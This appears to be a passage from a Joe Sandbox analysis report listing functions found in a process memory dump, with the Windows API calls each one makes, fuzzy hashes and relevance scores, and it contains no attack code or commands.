Instruction ID: b5d29b3abc9846d31fc077f602cedeacc4b225bf616da6f19b6f9ba546267f7e
Opcode Fuzzy Hash: 7e06e7158ad2b06198f10be932ad8853ebd3a9e99d2ee993ed22abc941eadc66
Instruction Fuzzy Hash: 47218832A1CB6597D7109FA5E4489AEB3B4FB88F84B941131EB8D83B14EF79E414DB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0696A8 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF73D06968C), ref: 00007FF73D0696D0
TerminateProcess.KERNEL32(?,?,?,00007FF73D06968C), ref: 00007FF73D0696DB
ExitProcess.KERNEL32 ref: 00007FF73D0696EA

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: b697fe1b03dcef3d4df6d21255900bdc26538878508daf476c5c2854f5282b69
Instruction ID: d659a0bac31229b0490d0cf31d81bb969b012a913968ed955f2b10b17c468ae7
Opcode Fuzzy Hash: b697fe1b03dcef3d4df6d21255900bdc26538878508daf476c5c2854f5282b69
Instruction Fuzzy Hash: EDE04F64B0C34992EF44BBE1A8C53BDA356EF88F41F90503CD94E07792EF3DA408A220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D054840 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF73D054D85

Strings

CALL, xrefs: 00007FF73D054D4E

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 3935989ee1c67edd5b89fefeeab71b320e849a8a5001b04341adde9d280662a0
Instruction ID: 7c5e752fd97c4f9278b7841a33bb4cc9b7c7d6da80045408b6b83b171fafc8cd
Opcode Fuzzy Hash: 3935989ee1c67edd5b89fefeeab71b320e849a8a5001b04341adde9d280662a0
Instruction Fuzzy Hash: B7227E72B0C64AAAEB10EBA5D0442ACB7A2FB44F88F904135CE4D57799EF38E455D720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04D2B0 Relevance: 3.7, APIs: 2, Instructions: 697COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF73D04D9EF
_Init_thread_footer.LIBCMT ref: 00007FF73D098F78

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 054052d1de29e5c70d6877a80ec71d8cbbdd98924133b8d9a8ce9a7c403be64d
Instruction ID: 5819710de6747afbc51ba690278fcd6027957973f18f32fcabbc983204f53e0e
Opcode Fuzzy Hash: 054052d1de29e5c70d6877a80ec71d8cbbdd98924133b8d9a8ce9a7c403be64d
Instruction Fuzzy Hash: DC62B332A0C65AA2EB60AB95E4487B9E371FB84F84F854035DE5D437A4EF3DE441E720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D074F6C Relevance: 3.2, APIs: 2, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D074FA8
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D0750DE

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7da5e06ec66ada504e84ef804a6f83dd1262074be41b4d9573f9fb513581d3c7
Instruction ID: 3743619a33c667564e8b896eba8faca593c4d6daf7fdf0972e1abbbbf4580677
Opcode Fuzzy Hash: 7da5e06ec66ada504e84ef804a6f83dd1262074be41b4d9573f9fb513581d3c7
Instruction Fuzzy Hash: BE612C11B0D68A62FA24B9F598043B9E2D0AF44FA4F844634DD6C4B7C5FF3CE401A660

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05CB68 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF73D05CBD2

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cdd4ff1307c57f1a9388ddac5ab71e9a7c0c3079cce15680bd6c139683ff9e26
Instruction ID: 68d8490ce90eae08eccb754743ffcbe58db1269a435ae5415ed4b98af540c920
Opcode Fuzzy Hash: cdd4ff1307c57f1a9388ddac5ab71e9a7c0c3079cce15680bd6c139683ff9e26
Instruction Fuzzy Hash: F241D5B290C60A92F720AF55E404339B7A1FB85FA4F844230EA6D076C9EF7DD448E765

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05C820 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D05D258: LoadLibraryA.KERNEL32(?,?,?,00007FF73D05C850), ref: 00007FF73D05D26F
Part of subcall function 00007FF73D05D258: GetProcAddress.KERNEL32(?,?,?,00007FF73D05C850), ref: 00007FF73D05D287

FreeLibrary.KERNEL32 ref: 00007FF73D05C87A
LoadLibraryW.KERNELBASE ref: 00007FF73D05C8A4

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 659940d7e3e3ccfc44864b2c683c220b024f41b80ad7bb24266295cf266947ba
Instruction ID: 9128e4007ba2796cdd3bac9804e9ef54f68a730be89245fb7fde28d5af8ec9c4
Opcode Fuzzy Hash: 659940d7e3e3ccfc44864b2c683c220b024f41b80ad7bb24266295cf266947ba
Instruction Fuzzy Hash: 44416272B1C61AA6EB10EBA5D4513FCA3A1EB44F88F844131EE0E47695EF3CD409D364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D043370 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF73D043468

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: f6e778d5481c767fd5f0440b0ad4e2d6c9d4c8da62964ce3a4f4eaab6dc61537
Instruction ID: 7374e8f707d543dad284e3878cfc8c521d9c20c00e00a85afe9da9e451f0f62b
Opcode Fuzzy Hash: f6e778d5481c767fd5f0440b0ad4e2d6c9d4c8da62964ce3a4f4eaab6dc61537
Instruction Fuzzy Hash: 3041953190DB4A96EB51EF61E0443A9B3A8FB48F98F840135DA4C07759EF7DE144D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05D050 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00007FF73D05CBF1), ref: 00007FF73D05D0D9
SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF73D05CCA7), ref: 00007FF73D05D111

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: c02fd4baf01237f737ce4c1dcfaf2efccd2abda1334b72e0db47e5205a9591d5
Instruction ID: 809df7501310b77fbadb83d6a1187f0e0796b9a84ac4cfe83aac845b28fea0be
Opcode Fuzzy Hash: c02fd4baf01237f737ce4c1dcfaf2efccd2abda1334b72e0db47e5205a9591d5
Instruction Fuzzy Hash: 9021A97260CA4486E710DF22E14036EB7A2FB84F88F944132DE9847B58EF7DD452DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D080A48 Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FF73D080AAB
GetLastError.KERNEL32 ref: 00007FF73D080AB5

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 537e8cc4a9b8a03ece6cc111119cfe6a6e861e43065a8b53b1c8da74cbaeeba0
Instruction ID: f36b312b28639fd472560f8d90878f4787bb0368b7bc5be71ce735aa765138ac
Opcode Fuzzy Hash: 537e8cc4a9b8a03ece6cc111119cfe6a6e861e43065a8b53b1c8da74cbaeeba0
Instruction Fuzzy Hash: C1118421F0C74BA1FE9476E4A6D02BD96819F50F64F980134DA6E0A2D2FF5CE454A321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D041A68 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(F800000000000000,00007FF73D042AE3,?,?,?,?,?,00007FF73D041A3D), ref: 00007FF73D041AC9
wcscat.LIBCMT ref: 00007FF73D08A186

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: FullNamePathwcscat
String ID:
API String ID: 2785955394-0
Opcode ID: 127eaa6a34cafed49c1314ae5138e25092e900af035720f1fa20fb328c2c0b55
Instruction ID: 525fea3270b3cc719be302e5f85c3136ee3e39a7c934dcabaf45ec95ad7260b5
Opcode Fuzzy Hash: 127eaa6a34cafed49c1314ae5138e25092e900af035720f1fa20fb328c2c0b55
Instruction Fuzzy Hash: 97219021A0C65BA1E720FB91E4485AAA374FF48B84FC04131E98C43A96FF6CE549DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D08442C Relevance: 3.0, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF73D07A792), ref: 00007FF73D084440
FreeEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF73D07A792), ref: 00007FF73D0844A5

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: cbac24d163c938635008e8d753191829c7a5b86d9880c2251e1248bd8dbaccbc
Instruction ID: 188375dfbb5c6a3bdd171175755192d1495c56aeea293330d02225e2b89b514d
Opcode Fuzzy Hash: cbac24d163c938635008e8d753191829c7a5b86d9880c2251e1248bd8dbaccbc
Instruction Fuzzy Hash: 6C01D621B0DB4A51EE11BFA1A40007EA761EF84FE0BD81235EE6E037D5EF3CE4419250

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D081854 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,00007FF73D087860,?,?,?,?,?,?,?,?,00000001,00007FF73D08791B), ref: 00007FF73D081898
GetLastError.KERNEL32(?,?,?,00007FF73D087860,?,?,?,?,?,?,?,?,00000001,00007FF73D08791B), ref: 00007FF73D0818A2

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3adfc0cfccd52941a49fddeb1409d6c56562e453e402605f126667e22865c99a
Instruction ID: f05dee1bb56cf041a679dcf67e4965ac37315370e838d75ada7ee94968e4ad2a
Opcode Fuzzy Hash: 3adfc0cfccd52941a49fddeb1409d6c56562e453e402605f126667e22865c99a
Instruction Fuzzy Hash: 02010421B0C68691EE14ABA5F8410B8A650EF80FB0FD44331EA7E0B7D8EF3CD4159711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D07B950 Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF73D07B966
GetLastError.KERNEL32 ref: 00007FF73D07B978

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: 42f68b8e71bac882028bf66c597e2078b887fef472cc42d83bff0a16faef725e
Instruction ID: ad7ea89f8276f8630c99629bffa0e451bf54b759fc658ae4c541e152154f5489
Opcode Fuzzy Hash: 42f68b8e71bac882028bf66c597e2078b887fef472cc42d83bff0a16faef725e
Instruction Fuzzy Hash: E8E08650E0E64B62FF097BF2E8451B8D3D06F54F40FC44034D90D4B251FF2CA4516220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04B640 Relevance: 2.6, APIs: 2, Instructions: 53COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF73D04B679
MultiByteToWideChar.KERNEL32 ref: 00007FF73D04B6C0

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 4535455b900882aaf790e7f59067dd516196d7937b3f2f68629ad60a155e21e9
Instruction ID: 192dbf6098a5538f048d2c8a2a3207209e0ca9bfca9ecfb2e8b309a68771ccfb
Opcode Fuzzy Hash: 4535455b900882aaf790e7f59067dd516196d7937b3f2f68629ad60a155e21e9
Instruction Fuzzy Hash: 9A11D632709A8286E714EF52A80526DF7A5FB89FA0F984235DB5C47BA1DF3CE4119700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0DCF5C Relevance: 1.8, APIs: 1, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4122f6607503247c27fa8bc16122df2efaa86af47215780c771dcc2b771c25bf
Instruction ID: da311ea2b0983187b3354b82e85cf61b072d933975d9b04bd8a86ad8c1e1b079
Opcode Fuzzy Hash: 4122f6607503247c27fa8bc16122df2efaa86af47215780c771dcc2b771c25bf
Instruction Fuzzy Hash: 57E1AA33A08B8AE6EB10EFA5D4542ADB7B0FB44B88F904122DB5D07756EF38D185D720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0BF1A8 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF73D0BF1D5

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: BuffCharLower
String ID:
API String ID: 2358735015-0
Opcode ID: 766e4debc9cf3e74d8ce01f985b95e8da0cdb02e6a148b9f5c33ae9715e6d7b2
Instruction ID: 7f362b0118331c37780551f4e12728a1309247a9f29185f3460c797a2fb1916b
Opcode Fuzzy Hash: 766e4debc9cf3e74d8ce01f985b95e8da0cdb02e6a148b9f5c33ae9715e6d7b2
Instruction Fuzzy Hash: 3C41AD3260CB86A6E760EF91E8002A9B7A4FB84F90F948131EE9D43795EF3DD445D710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D064EB0 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE ref: 00007FF73D065022

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 68184e76846e2a5a039e555c917f1b53deee8bc2734a5a5e0af7f0d3c6fa0fdb
Instruction ID: 19fa9b56a6c5273068d3921889c738b50c78f8bf58fa4875cfb4b23287fbed04
Opcode Fuzzy Hash: 68184e76846e2a5a039e555c917f1b53deee8bc2734a5a5e0af7f0d3c6fa0fdb
Instruction Fuzzy Hash: 8B413C32B0CB0AA5EA60DFFAD44856DA3A4FB01F44F964432EA1D07790EF78D841E320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0A0A4C Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF73D0A0A58

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 211d81ba4e95c7b917cab6fa29922d80261e097f6eb03e7746ebab567500a4e3
Instruction ID: ff277d7d2b9a4c54d78981ebd678f45c777ee3594d0dfc709b165dcdb508d817
Opcode Fuzzy Hash: 211d81ba4e95c7b917cab6fa29922d80261e097f6eb03e7746ebab567500a4e3
Instruction Fuzzy Hash: D8415E72B0CB49A6EB10EFA5D1903AC6761EB44F88F844135CE0D5B799EF78E491E360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D075634 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D075655

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
